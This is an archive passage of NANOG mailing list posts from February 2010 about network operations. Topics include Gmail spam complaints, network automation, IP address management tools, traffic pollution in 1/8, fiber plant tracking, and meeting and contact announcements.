http://www.americanbroadbandservice.com tel: 559-420-0205 fax:559-272-5266 toll free: 866-827-4638 From jim at reptiles.org Thu Feb 4 00:07:18 2010 From: jim at reptiles.org (Jim Mercer) Date: Thu, 4 Feb 2010 01:07:18 -0500 Subject: google contact? why is google hosting/supporting/encouraging spammers? Message-ID: <20100204060718.GM81296@reptiles.org> we have recently started getting alot of spam, out of dubai, from "ecampaigners.dxb at gmail.com" all of the spam comes from/through google and google groups. is this accepted/supported activity on google? if not, where might i find a contact who can cluefully respond? -- Jim Mercer jim at reptiles.org +92 336 520-4504 "I'm Prime Minister of Canada, I live here and I'm going to take a leak." - Lester Pearson in 1967, during a meeting between himself and President Lyndon Johnson, whose Secret Service detail had taken over Pearson's cottage retreat. At one point, a Johnson guard asked Pearson, "Who are you and where are you going?" From hiersd at gmail.com Thu Feb 4 00:08:57 2010 From: hiersd at gmail.com (David Hiers) Date: Wed, 3 Feb 2010 22:08:57 -0800 Subject: Mitigating human error in the SP In-Reply-To: <20100203161409.GC3212@kallisti.us> References: <019301caa3b1$dfe90650$9fbb12f0$@net> <20100203161409.GC3212@kallisti.us> Message-ID: <2873f3701002032208t70fcc711wbe34faefaaf0c898@mail.gmail.com> You can completely implement Vijay's most impressive stuff and simply move the problem to a different level of abstraction. No matter what you do, it still comes down to some geek banging on some plastic thingy. I'm as likely to screw up an "Extensible Entity-Attribute-Relationship" as I am an ACL. David On Wed, Feb 3, 2010 at 8:14 AM, Ross Vandegrift wrote: > On Mon, Feb 01, 2010 at 09:46:07PM -0500, Stefan Fouant wrote: >> Vijay Gill had some real interesting insights into this in a >> presentation he gave back at NANOG 44: >> >> http://www.nanog.org/meetings/nanog44/presentations/Monday/Gill_programatic_N44.pdf >> >> His Blog article on "Infrastructure is Software" further expounds >> upon the benefits of such an approach - >> http://vijaygill.wordpress.com/2009/07/22/infrastructure-is-software/ >> >> That stuff is light years ahead of anything anybody is doing today >> (well, apart from maybe Vijay himself ;) ... but IMO it's where we >> need to start heading. > > Vijay's stuff is fascinating. ?The vision is great. ?But in my > experience, the vendors and implementations basically ruin the dream > for anyone who doesn't have his pull. > > I'm sure my software is nowhere close to being as sophisticated as > his, but my plans are pretty much in line with his suggestions. ?Some > problems I've run into that I don't see any kind of solution for: > > 1) Forwarding-impacting bugs: IOS bugs that are triggered by SNMP are > easily the #1 cause of our accidental service impact. ?Most seem to be > race conditions that require real-world config and forwarding load - > not something a small shop can afford to build a lab to reproduce. ?If > we stuck to manual deployment, we might have made a few mistakes but > would it have been worse? ?Maybe - but honestly, it could be a wash. > > 2) Vendor support is highly suspicious of automation: anytime I open a > ticket, even unrelated to an automated software process, the first > thing the vendor support demands is to disable all automation. > Juniper is by far the best about this, and they *still* don't actually > believe their own automation tools work. ?Cisco TAC's answer has > always been "don't ever use SNMP if it causes crashes!" ?Procurve > doesn't even bother to respond to tickets related to automation bugs, > even if they are remotely triggerable crashes in the default config. > > 3) Automation interfaces are largely unsupported: I imagine vendor > software development having one or two guys that are the masterminds > for SNMP/NETCONF/whatever - and that's it. ?When I have a question on > how to find a particular tool, or find a bug in an automation > function, I can often go months on a ticket with people that have no > idea what I'm talking about. ?What documentation exists is typically > incomplete or inconsistent across versions and product lines. > > 4) Related tools prevent reliable error reporting: as far as I can > tell, Net-SNMP returns random values if a request fails; if there's a > pattern, I've failed to discern it. ?expect is similar. ?ScreenOS's > SSH implementation always returns that a file copy failed. ?Procurve > only this year implemented ssh key-based auth in combination with > remote authentication. ?The best-of-breed seems to be an oft-pathetic > collection of tools. > > 5) Management support: developing automation software is hard - network > devices aren't nearly as easy to deal with as they should be. ?When I > spend weeks developing features that later causes IOS to spontaneously > reload, people that don't understand the relation to operational > impact start to advocate dismantling the automation just like the > vendors above. > > I'm sure we'll continue to build automated policy and configuration > tools. ?I'm just not convinced it's the panacea that everyone thinks. > Unless you're one of the biggest, it puts your network at someone > else's mercy - and that someone else doesn't care about your > operational expenses. > > Ross > > -- > Ross Vandegrift > ross at kallisti.us > > "If the fight gets hot, the songs get hotter. ?If the going gets tough, > the songs get tougher." > ? ? ? ?--Woody Guthrie > > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAktpoNEACgkQMlMoONfO+HB6PACeLoFhmwv8K07Zq9tQDZgKcHYq > 5nEAoMnrd2YLrSzGkA71N8vRgFWG/SL1 > =FQbw > -----END PGP SIGNATURE----- > > From ops.lists at gmail.com Thu Feb 4 01:05:06 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Thu, 4 Feb 2010 12:35:06 +0530 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: <20100204060718.GM81296@reptiles.org> References: <20100204060718.GM81296@reptiles.org> Message-ID: abuse at gmail.com maybe? Looks like some random spammer based in Dubai judging by the airport code. On Thu, Feb 4, 2010 at 11:37 AM, Jim Mercer wrote: > we have recently started getting alot of spam, out of dubai, from "ecampaigners.dxb at gmail.com" > > all of the spam comes from/through google and google groups. > > is this accepted/supported activity on google? > > if not, where might i find a contact who can cluefully respond? -- Suresh Ramasubramanian (ops.lists at gmail.com) From jim at reptiles.org Thu Feb 4 01:12:03 2010 From: jim at reptiles.org (Jim Mercer) Date: Thu, 4 Feb 2010 02:12:03 -0500 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: References: <20100204060718.GM81296@reptiles.org> Message-ID: <20100204071203.GA95400@reptiles.org> On Thu, Feb 04, 2010 at 12:35:06PM +0530, Suresh Ramasubramanian wrote: > abuse at gmail.com maybe? Looks like some random spammer based in Dubai > judging by the airport code. yeah, tried that several times. seems to go to a black hole. i've engaged the spammer, and they are telling me that they feel it is ok to subscribe people to their group, because it sends out a subscription notice, as well as an unsubscribe link. they seem to be quite happy to use an @gmail account, and use google groups to propagate their spam. most recently, i got from them: "Yes you are right, you can complain to Google, but to complain, you have a right email address, because this address we don't have listed." so, they are not concerned about being reported to google. very odd. is this a legitimate google groups activity? someone can set up and say "well, yeah, he musta gone to one of our websites or something, how else would he get on our list?" and google is ok with that? geez, "do no harm" really? --jim > > On Thu, Feb 4, 2010 at 11:37 AM, Jim Mercer wrote: > > we have recently started getting alot of spam, out of dubai, from "ecampaigners.dxb at gmail.com" > > > > all of the spam comes from/through google and google groups. > > > > is this accepted/supported activity on google? > > > > if not, where might i find a contact who can cluefully respond? > > > > -- > Suresh Ramasubramanian (ops.lists at gmail.com) -- Jim Mercer jim at reptiles.org +92 336 520-4504 "I'm Prime Minister of Canada, I live here and I'm going to take a leak." - Lester Pearson in 1967, during a meeting between himself and President Lyndon Johnson, whose Secret Service detail had taken over Pearson's cottage retreat. At one point, a Johnson guard asked Pearson, "Who are you and where are you going?" From david at blue-labs.org Thu Feb 4 01:49:42 2010 From: david at blue-labs.org (David Ford) Date: Thu, 04 Feb 2010 02:49:42 -0500 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: <20100204071203.GA95400@reptiles.org> References: <20100204060718.GM81296@reptiles.org> <20100204071203.GA95400@reptiles.org> Message-ID: <4B6A7C16.904@blue-labs.org> Google groups cautions you about pre-emptively adding people if you choose this method of subscribing them. On 02/04/10 02:12, Jim Mercer wrote: > [...] > and google is ok with that? > > geez, "do no harm" > > really? > > --jim From jim at reptiles.org Thu Feb 4 01:56:25 2010 From: jim at reptiles.org (Jim Mercer) Date: Thu, 4 Feb 2010 02:56:25 -0500 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: <4B6A7C16.904@blue-labs.org> References: <20100204060718.GM81296@reptiles.org> <20100204071203.GA95400@reptiles.org> <4B6A7C16.904@blue-labs.org> Message-ID: <20100204075625.GA96508@reptiles.org> On Thu, Feb 04, 2010 at 02:49:42AM -0500, David Ford wrote: > Google groups cautions you about pre-emptively adding people if you > choose this method of subscribing them. "here, have some free guns. oh, by the way, its probably bad if you go around shooting people, so don't do that." it is starting too look to me like google is quite happy to host spammers. or, at best, doesn't care if spammers use them to host their services. > On 02/04/10 02:12, Jim Mercer wrote: > > [...] > > and google is ok with that? > > > > geez, "do no harm" > > > > really? > > > > --jim > -- Jim Mercer jim at reptiles.org +92 336 520-4504 "I'm Prime Minister of Canada, I live here and I'm going to take a leak." - Lester Pearson in 1967, during a meeting between himself and President Lyndon Johnson, whose Secret Service detail had taken over Pearson's cottage retreat. At one point, a Johnson guard asked Pearson, "Who are you and where are you going?" From david at blue-labs.org Thu Feb 4 02:29:06 2010 From: david at blue-labs.org (David Ford) Date: Thu, 04 Feb 2010 03:29:06 -0500 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: <20100204075625.GA96508@reptiles.org> References: <20100204060718.GM81296@reptiles.org> <20100204071203.GA95400@reptiles.org> <4B6A7C16.904@blue-labs.org> <20100204075625.GA96508@reptiles.org> Message-ID: <4B6A8552.1030604@blue-labs.org> I feel fairly sure in saying that most mailing list software, newsgroup software, and communication software in general, will allow you to preemptively add people to your address book, subscription lists, etc. Every router and switch out there allows forged packets through them, should we lambast the hardware manufacturers even though numerous accompanying handbooks recommend good practice configurations? Google has been very quick to deal with issues of spammers every time I have brought it up. On 02/04/10 02:56, Jim Mercer wrote: > "here, have some free guns. oh, by the way, its probably bad if you go > around > shooting people, so don't do that." > > it is starting too look to me like google is quite happy to host spammers. > > or, at best, doesn't care if spammers use them to host their services. From dhubbard at dino.hostasaurus.com Thu Feb 4 02:34:14 2010 From: dhubbard at dino.hostasaurus.com (David Hubbard) Date: Thu, 4 Feb 2010 03:34:14 -0500 Subject: google contact? why is google hosting/supporting/encouragingspammers? Message-ID: From: David Ford [mailto:david at blue-labs.org] > > I feel fairly sure in saying that most mailing list software, > newsgroup software, and communication software in general, > will allow you to preemptively add people to your address > book, subscription lists, etc. Every router and switch out > there allows forged packets through them, should we lambast > the hardware manufacturers even though numerous > accompanying handbooks recommend good practice > configurations? > > Google has been very quick to deal with issues of spammers > every time I have brought it up. > > > On 02/04/10 02:56, Jim Mercer wrote: > > "here, have some free guns. oh, by the way, its probably > > bad if you go around shooting people, so don't do that." > > > > it is starting too look to me like google is quite happy to > > host spammers. > > > > or, at best, doesn't care if spammers use them to host > > their services. I've found gmail is the current favored account amongst forum spammers; I have to assume they are doing nothing about abuse complaints because I find it quite unlikely that the forums I operate just happen to be the first ones that get abused by accounts signed up with gmail addresses. I report each one to their abuse address, probably goes to bit bucket. gmail is probably still 'beta' though so it's ok to let spammers use that too. David From david at blue-labs.org Thu Feb 4 02:50:13 2010 From: david at blue-labs.org (David Ford) Date: Thu, 04 Feb 2010 03:50:13 -0500 Subject: google contact? why is google hosting/supporting/encouragingspammers? In-Reply-To: References: Message-ID: <4B6A8A45.3010800@blue-labs.org> Lately I am flooded with Yahoo groups spammers and I have never gotten a response out of Yahoo. I've never got a response from Microsoft with regards to MSN or Hotmail spammers. I have gotten responses from Google and they've shut down the spammers in question. Our experience is not all encompassing While I could make noise about the above, I don't believe either entity either encourages or tolerates spammers. My experience suggests that spammer methods arrive in waves. At one time I was flooded with yahoo messenger spam bots. Before then were the ICQ bots. More recently it's Twitter bots. Technology evolves, services and APIs become available and more prevalent. Spammers discover them and flock to them. Report it and deal with it as best can. From cian.brennan at redbrick.dcu.ie Thu Feb 4 03:38:17 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Thu, 4 Feb 2010 09:38:17 +0000 Subject: ip address management In-Reply-To: <20100204084025.35f19356@opy.nosense.org> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> <4B698B0F.9080603@foobar.org> <20100203151526.GG38289@macbook.catpipe.net> <20100204084025.35f19356@opy.nosense.org> Message-ID: <20100204093817.GA435@minerva.redbrick.dcu.ie> On Thu, Feb 04, 2010 at 08:40:25AM +1030, Mark Smith wrote: > On Wed, 3 Feb 2010 16:15:30 +0100 > Phil Regnauld wrote: > > > Nick Hilliard (nick) writes: > > > > > > There is a FAQ entry for ipv6 support in ipplan: > > > > > > > One feature request that comes up from time to time is IPv6. Adding IPv6 > > > > support will require major effort but has such a limited audience. > > > > Ironically the only people that ever requested IPv6 support are either > > > > from Telcos, ISP?s or government departments, yet they are never > > > > interested in contributing resources! I deam them parasites of the Open > > > > Source world - leaching off the good will and effort of the Open Source > > > > community, yet give nothing in return. > > > > Shame. And "deam" is "deem". > > > > > q.v. http://iptrack.sourceforge.net/doku.php?id=faq > > > > > > I guess we're all entitled to our opinions. > > > > Yeah, sad. > > > > > I think that if he didn't want commercial organisations to use his > software, he shouldn't have chosen a licence that permits them to (the > GPL according to the home page). If that's his attitude to possible > future contributors and to IPv6, then it seems to me that iptrack has > jumped the shark. > It sounds far more like that's his attitude to those who keep annoying him about supporting something he doesn't care about, without actually contributing anything useful to the project. > > > The data model used in ipplan is to enumerate all IP addresses in the > > > working ranges. This works fine for ipv4, but obviously breaks horribly > > > for ipv6. Political considerations aside, I suspect that this is at least > > > some of the reason that ipplan doesn't support it. > > > > It would indeed require a very large screen and lots of memory :) > > > > Cheers, > > Phil > > > > -- -- From fw at deneb.enyo.de Thu Feb 4 03:56:51 2010 From: fw at deneb.enyo.de (Florian Weimer) Date: Thu, 04 Feb 2010 10:56:51 +0100 Subject: google contact? why is google hosting/supporting/encouraging spammers? In-Reply-To: <4B6A8552.1030604@blue-labs.org> (David Ford's message of "Thu, 04 Feb 2010 03:29:06 -0500") References: <20100204060718.GM81296@reptiles.org> <20100204071203.GA95400@reptiles.org> <4B6A7C16.904@blue-labs.org> <20100204075625.GA96508@reptiles.org> <4B6A8552.1030604@blue-labs.org> Message-ID: <87y6j9pbmk.fsf@mid.deneb.enyo.de> * David Ford: > I feel fairly sure in saying that most mailing list software, newsgroup > software, and communication software in general, will allow you to > preemptively add people to your address book, subscription lists, etc. But most injection points are blacklisted quickly when this happens. From paveldimow at gmail.com Thu Feb 4 06:13:38 2010 From: paveldimow at gmail.com (Pavel Dimow) Date: Thu, 4 Feb 2010 13:13:38 +0100 Subject: ip address management In-Reply-To: <4B6A35E3.1080208@nethead.de> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <4B6A35E3.1080208@nethead.de> Message-ID: <6d2cb0d51002040413s61b7b3c9pb9b6f99f83efee5c@mail.gmail.com> Hello Arnd, it would be great if you can put them back. Thank you. On Thu, Feb 4, 2010 at 3:50 AM, Arnd Vehling wrote: > Hi, > > Pavel Dimow wrote: >> >> does anybody knows what happend with ipat? > >> http://nethead.de/index.php/ipat >> http://nanog.cluepon.net/index.php/Tools_and_Resources > > i did take the sources offline a couple of weeks ago cause there didnt > seemed to be a lot interest in the software. > > If you want i can put em up again or send you a download link but you should > keep in mind that this is a "carrier grade" address management tool which > requires quite some time to setup. > > The IP management stuff has been created ontop of the RIPE whois database, > means, you will be running a complete registry server. > > cheers, > > ? Arnd > > From streiner at cluebyfour.org Thu Feb 4 08:56:22 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Thu, 4 Feb 2010 09:56:22 -0500 (EST) Subject: fiber plant management? Message-ID: To those of you who currently operate large campus/metro fiber plants, what are you currently using to track the usage of that plant? By that I mean things such as: * tracking the number of free/used/unusable strands in a cable * tracking conduit utilization * tying OTDR test results/power meter readings to strands * trying as-built drawings to cable routes and plant assets like manholes, junction boxes, transition splice points, duct banks, utility poles, etc. * mapping termination bays to cables * tracking cross-connects and splice locations * grouping cable segments and cross-connects together into a path/circuit * utilization reports, etc. I've looked at one or two commercial packages, and might look at more as time permits. I haven't seen much in the open-source world, and I suspect that many places ended up rolling their own management apps to tie into existing provisioning systems, etc. It's possible that I could end up going that route as well. jms From streiner at cluebyfour.org Thu Feb 4 08:26:34 2010 From: streiner at cluebyfour.org (Justin M. Streiner) Date: Thu, 4 Feb 2010 09:26:34 -0500 (EST) Subject: How polluted is 1/8? In-Reply-To: References: <4B69D81F.9050709@opus1.com> Message-ID: On Thu, 4 Feb 2010, Nathan Ward wrote: > On 4/02/2010, at 9:19 AM, Justin M. Streiner wrote: > >> I would hope that the APNIC would opt not to assign networks that >> would contain 1.1.1.1 or 1.2.3.4 to customers for exactly that reason. >> The signal-to-noise ratio for those addresses is likely pretty high. >> The noise is likely contained on many internal networks for now >> because a corresponding route doesn't show up in the global routing >> table at the moment. Once that changes.... > > 1.1.1/24 and 1.2.3/24 are assigned to APNIC. Unless they release them, > the general public will not get addresses in these. Yes, I did see that. What I noticed yesterday was that there were no prefixes that cover 1.1.1.1 or 1.2.3.4 being announced globally at that point. jms From nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org Thu Feb 4 12:06:30 2010 From: nanog at 85d5b20a518b8f6864949bd940457dc124746ddc.nosense.org (Mark Smith) Date: Fri, 5 Feb 2010 04:36:30 +1030 Subject: ip address management In-Reply-To: <20100204093817.GA435@minerva.redbrick.dcu.ie> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> <4B698B0F.9080603@foobar.org> <20100203151526.GG38289@macbook.catpipe.net> <20100204084025.35f19356@opy.nosense.org> <20100204093817.GA435@minerva.redbrick.dcu.ie> Message-ID: <20100205043630.2fae9a8f@opy.nosense.org> On Thu, 4 Feb 2010 09:38:17 +0000 Cian Brennan wrote: > On Thu, Feb 04, 2010 at 08:40:25AM +1030, Mark Smith wrote: > > On Wed, 3 Feb 2010 16:15:30 +0100 > > Phil Regnauld wrote: > > > > > Nick Hilliard (nick) writes: > > > > > > > > There is a FAQ entry for ipv6 support in ipplan: > > > > > > > > > One feature request that comes up from time to time is IPv6. Adding IPv6 > > > > > support will require major effort but has such a limited audience. > > > > > Ironically the only people that ever requested IPv6 support are either > > > > > from Telcos, ISP?s or government departments, yet they are never > > > > > interested in contributing resources! I deam them parasites of the Open > > > > > Source world - leaching off the good will and effort of the Open Source > > > > > community, yet give nothing in return. > > > > > > Shame. And "deam" is "deem". > > > > > > > q.v. http://iptrack.sourceforge.net/doku.php?id=faq > > > > > > > > I guess we're all entitled to our opinions. > > > > > > Yeah, sad. > > > > > > > > > I think that if he didn't want commercial organisations to use his > > software, he shouldn't have chosen a licence that permits them to (the > > GPL according to the home page). If that's his attitude to possible > > future contributors and to IPv6, then it seems to me that iptrack has > > jumped the shark. > > > It sounds far more like that's his attitude to those who keep annoying him > about supporting something he doesn't care about, without actually contributing > anything useful to the project. > It's fine for him to not want to spend time on people's requests - that is an accepted thing for open source software. But to call people/organisations who use his software legitimately and also make legitimate requests, under *his* chosen license "leaches" is disingenuous. As I said, if he didn't want commercial users to use his software, or ask for features, then he shouldn't have chosen a license that permits commercial use. Complaining about a situation he has created, by his choice of license, is puerile. > > > > The data model used in ipplan is to enumerate all IP addresses in the > > > > working ranges. This works fine for ipv4, but obviously breaks horribly > > > > for ipv6. Political considerations aside, I suspect that this is at least > > > > some of the reason that ipplan doesn't support it. > > > > > > It would indeed require a very large screen and lots of memory :) > > > > > > Cheers, > > > Phil > > > > > > > > > -- > > -- From kloch at kl.net Thu Feb 4 12:27:04 2010 From: kloch at kl.net (Kevin Loch) Date: Thu, 04 Feb 2010 13:27:04 -0500 Subject: How polluted is 1/8? In-Reply-To: <4B699AEC.8080505@ripe.net> References: <4B699AEC.8080505@ripe.net> Message-ID: <4B6B1178.30107@kl.net> Mirjam Kuehne wrote: > Hello, > > After 1/8 was allocated to APNIC last week, the RIPE NCC did some > measurements to find out how "polluted" this block really is. > > See some surprising results on RIPE Labs: > http://labs.ripe.net/content/pollution-18 > > Please also note the call for feedback at the bottom of the article. The most surprising thing in that report was that someone has an AMS-IX port at just 10 megs. It would be nice to see an actual measurement of the traffic and daily/weekly changes. A breakdown of the flow data by source ASN and source prefix (for the top 50-100 sources) would also be interesting. - Kevin From dmm at 1-4-5.net Thu Feb 4 13:30:00 2010 From: dmm at 1-4-5.net (David Meyer) Date: Thu, 4 Feb 2010 11:30:00 -0800 Subject: [NANOG-announce] NANOG 48 coming up soon Message-ID: <20100204193000.GC12855@1-4-5.net> Folks, NANOG 48 is less than 3 weeks away. Data Foundry and Giganews are serving as co-hosts for the meeting, February 21-24, in the great city of Austin, Texas. The Program Committee has a stimulating agenda planned and recently added more presentations to an already packed agenda: http://www.nanog.org/meetings/nanog48/agenda.php Register now and take advantage of the current rate, which increases $75 this Monday, February 8. Also, the special group rate at the Austin Hilton expires this Friday, February 5, so make your reservation soon. If your company would like to have a sponsor presence at the meeting, there are still some opportunities available. For additional meeting information and all related links, please see: http://www.nanog.org/meetings/nanog48/index.php We look forward to seeing you there. David Meyer (on behalf of the Program Committee) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 197 bytes Desc: Digital signature URL: -------------- next part -------------- _______________________________________________ NANOG-announce mailing list NANOG-announce at nanog.org http://mailman.nanog.org/mailman/listinfo/nanog-announce From jared at puck.nether.net Thu Feb 4 13:30:31 2010 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 4 Feb 2010 14:30:31 -0500 Subject: How polluted is 1/8? In-Reply-To: <4B6B1178.30107@kl.net> References: <4B699AEC.8080505@ripe.net> <4B6B1178.30107@kl.net> Message-ID: <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> On Feb 4, 2010, at 1:27 PM, Kevin Loch wrote: > Mirjam Kuehne wrote: >> Hello, >> After 1/8 was allocated to APNIC last week, the RIPE NCC did some measurements to find out how "polluted" this block really is. >> See some surprising results on RIPE Labs: http://labs.ripe.net/content/pollution-18 >> Please also note the call for feedback at the bottom of the article. > > The most surprising thing in that report was that someone has an AMS-IX > port at just 10 megs. It would be nice to see an actual measurement of > the traffic and daily/weekly changes. A breakdown of the flow data by > source ASN and source prefix (for the top 50-100 sources) would also be > interesting. There was a call on the apnic list for someone to sink some of the traffic. I'd like to see someone capture the data and post pcaps/netflow analysis, and possibly just run a http server on that /24 so people can test if their network is broken. I've taken a peek at the traffic, and I don't think it's 100's of megs, but without a global view who knows. - Jared From William.C.Hale at windstream.com Thu Feb 4 14:00:17 2010 From: William.C.Hale at windstream.com (Hale, William C) Date: Thu, 4 Feb 2010 14:00:17 -0600 Subject: Telx - Atlanta Message-ID: Our normal contact for Telx at 56 Marietta has not responded in a couple of days, does anyone have a 24x7 contact number for Telx at 56 Marietta in Atlanta? Regards, Bill William C. Hale Sr. Network Design Engineer Windstream Communications 501.748.6526 office 501.690.0830 mobile 501.748.6487 fax william.c.hale at windstream.com *************************************************************************************** The information contained in this message, including attachments, may contain privileged or confidential information that is intended to be delivered only to the person identified above. If you are not the intended recipient, or the person responsible for delivering this message to the intended recipient, Windstream requests that you immediately notify the sender and asks that you do not read the message or its attachments, and that you delete them without copying or sending them to anyone else. From morrowc.lists at gmail.com Thu Feb 4 14:14:44 2010 From: morrowc.lists at gmail.com (Christopher Morrow) Date: Thu, 4 Feb 2010 15:14:44 -0500 Subject: How polluted is 1/8? In-Reply-To: <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> References: <4B699AEC.8080505@ripe.net> <4B6B1178.30107@kl.net> <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> Message-ID: <75cb24521002041214i3670acbp87c314f29c5749@mail.gmail.com> I know someone who'd happily sink both the /24's in question.. if apnic's interested. On Thu, Feb 4, 2010 at 2:30 PM, Jared Mauch wrote: > > On Feb 4, 2010, at 1:27 PM, Kevin Loch wrote: > > > Mirjam Kuehne wrote: > >> Hello, > >> After 1/8 was allocated to APNIC last week, the RIPE NCC did some > measurements to find out how "polluted" this block really is. > >> See some surprising results on RIPE Labs: > http://labs.ripe.net/content/pollution-18 > >> Please also note the call for feedback at the bottom of the article. > > > > The most surprising thing in that report was that someone has an AMS-IX > > port at just 10 megs. It would be nice to see an actual measurement of > > the traffic and daily/weekly changes. A breakdown of the flow data by > > source ASN and source prefix (for the top 50-100 sources) would also be > > interesting. > > There was a call on the apnic list for someone to sink some of the traffic. > > I'd like to see someone capture the data and post pcaps/netflow analysis, > and possibly just run a http server on that /24 so people can test if their > network is broken. > > I've taken a peek at the traffic, and I don't think it's 100's of megs, but > without a global view who knows. > > - Jared > From patrick at ianai.net Thu Feb 4 14:17:56 2010 From: patrick at ianai.net (Patrick W. Gilmore) Date: Thu, 4 Feb 2010 15:17:56 -0500 Subject: How polluted is 1/8? In-Reply-To: <75cb24521002041214i3670acbp87c314f29c5749@mail.gmail.com> References: <4B699AEC.8080505@ripe.net> <4B6B1178.30107@kl.net> <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> <75cb24521002041214i3670acbp87c314f29c5749@mail.gmail.com> Message-ID: <8CB69607-D985-438F-8EDA-0CDCD0C768E1@ianai.net> On Feb 4, 2010, at 3:14 PM, Christopher Morrow wrote: > I know someone who'd happily sink both the /24's in question.. if apnic's > interested. Given that it is not in the table today, just announcing it would yield both interesting traffic, and interesting data on who is filtering it. -- TTFN, patrick > On Thu, Feb 4, 2010 at 2:30 PM, Jared Mauch wrote: > >> >> On Feb 4, 2010, at 1:27 PM, Kevin Loch wrote: >> >>> Mirjam Kuehne wrote: >>>> Hello, >>>> After 1/8 was allocated to APNIC last week, the RIPE NCC did some >> measurements to find out how "polluted" this block really is. >>>> See some surprising results on RIPE Labs: >> http://labs.ripe.net/content/pollution-18 >>>> Please also note the call for feedback at the bottom of the article. >>> >>> The most surprising thing in that report was that someone has an AMS-IX >>> port at just 10 megs. It would be nice to see an actual measurement of >>> the traffic and daily/weekly changes. A breakdown of the flow data by >>> source ASN and source prefix (for the top 50-100 sources) would also be >>> interesting. >> >> There was a call on the apnic list for someone to sink some of the traffic. >> >> I'd like to see someone capture the data and post pcaps/netflow analysis, >> and possibly just run a http server on that /24 so people can test if their >> network is broken. >> >> I've taken a peek at the traffic, and I don't think it's 100's of megs, but >> without a global view who knows. >> >> - Jared >> > From tico-nanog at raapid.net Thu Feb 4 14:18:37 2010 From: tico-nanog at raapid.net (Tico) Date: Thu, 04 Feb 2010 14:18:37 -0600 Subject: How polluted is 1/8? In-Reply-To: <75cb24521002041214i3670acbp87c314f29c5749@mail.gmail.com> References: <4B699AEC.8080505@ripe.net> <4B6B1178.30107@kl.net> <008197CB-E5F4-4EAA-8D5D-53401F0DD26C@puck.nether.net> <75cb24521002041214i3670acbp87c314f29c5749@mail.gmail.com> Message-ID: <4B6B2B9D.6080004@raapid.net> On 2/4/10 2:14 PM, Christopher Morrow wrote: > I know someone who'd happily sink both the /24's in question.. if apnic's > interested. > Ditto. > On Thu, Feb 4, 2010 at 2:30 PM, Jared Mauch wrote: > > >> On Feb 4, 2010, at 1:27 PM, Kevin Loch wrote: >> >> >>> Mirjam Kuehne wrote: >>> >>>> Hello, >>>> After 1/8 was allocated to APNIC last week, the RIPE NCC did some >>>> >> measurements to find out how "polluted" this block really is. >> >>>> See some surprising results on RIPE Labs: >>>> >> http://labs.ripe.net/content/pollution-18 >> >>>> Please also note the call for feedback at the bottom of the article. >>>> >>> The most surprising thing in that report was that someone has an AMS-IX >>> port at just 10 megs. It would be nice to see an actual measurement of >>> the traffic and daily/weekly changes. A breakdown of the flow data by >>> source ASN and source prefix (for the top 50-100 sources) would also be >>> interesting. >>> >> There was a call on the apnic list for someone to sink some of the traffic. >> >> I'd like to see someone capture the data and post pcaps/netflow analysis, >> and possibly just run a http server on that /24 so people can test if their >> network is broken. >> >> I've taken a peek at the traffic, and I don't think it's 100's of megs, but >> without a global view who knows. >> >> - Jared >> >> From ge at linuxbox.org Thu Feb 4 14:19:29 2010 From: ge at linuxbox.org (Gadi Evron) Date: Thu, 04 Feb 2010 22:19:29 +0200 Subject: lawful intercept/IOS at BlackHat DC, bypassing and recommendations Message-ID: <4B6B2BD1.7010300@linuxbox.org> "That peer-review is the basic purpose of my Blackhat talk and the associated paper. I plan to review Cisco?s architecture for lawful intercept and explain the approach a bad guy would take to getting access without authorization. I?ll identify several aspects of the design and implementation of the Lawful Intercept (LI) and Simple Network Management Protocol Version 3 (SNMPv3) protocols that can be exploited to gain access to the interface, and provide recommendations for mitigating those vulnerabilities in design, implementation, and deployment." More here: http://blogs.iss.net/archive/blackhatlitalk.html Gadi. -- Gadi Evron, ge at linuxbox.org. Blog: http://gevron.livejournal.com/ From mike-nanog at tiedyenetworks.com Thu Feb 4 14:19:54 2010 From: mike-nanog at tiedyenetworks.com (Mike) Date: Thu, 04 Feb 2010 12:19:54 -0800 Subject: Need clued XO abuse contact In-Reply-To: <955605EFA2A04C4EAE86941707DE0D160A5C7171@vahernexch02.corp.inthosts.net> References: <13205C286662DE4387D9AF3AC30EF456AFB88BF683@EMBX01-WF.jnpr.net> <955605EFA2A04C4EAE86941707DE0D160A5C7171@vahernexch02.corp.inthosts.net> Message-ID: <4B6B2BEA.5070107@tiedyenetworks.com> Just had a great interaction with Jim in XO's abuse department, who was able to immediately understand the issue and appears on his way to 'address the problem' as I write this. Way to go XO, and thanks to whomever forwarded along my original query, much appreicated.... From robert at ufl.edu Thu Feb 4 14:26:14 2010 From: robert at ufl.edu (Robert D. Scott) Date: Thu, 4 Feb 2010 15:26:14 -0500 Subject: Telx - Atlanta In-Reply-To: References: Message-ID: <067b01caa5d8$5410b320$fc321960$@edu> Try this: Telx Internet Exchange (TIE) Support Phone: 404-325-2714 Email: tie at telx.com Website: http://tie.telx.com Robert D. Scott Robert at ufl.edu Senior Network Engineer 352-273-0113 Phone CNS - Network Services 352-392-2061 CNS Phone Tree University of Florida 352-392-9440 FAX Florida Lambda Rail 352-294-3571 FLR NOC Gainesville, FL 32611 321-663-0421 Cell -----Original Message----- From: Hale, William C [mailto:William.C.Hale at windstream.com] Sent: Thursday, February 04, 2010 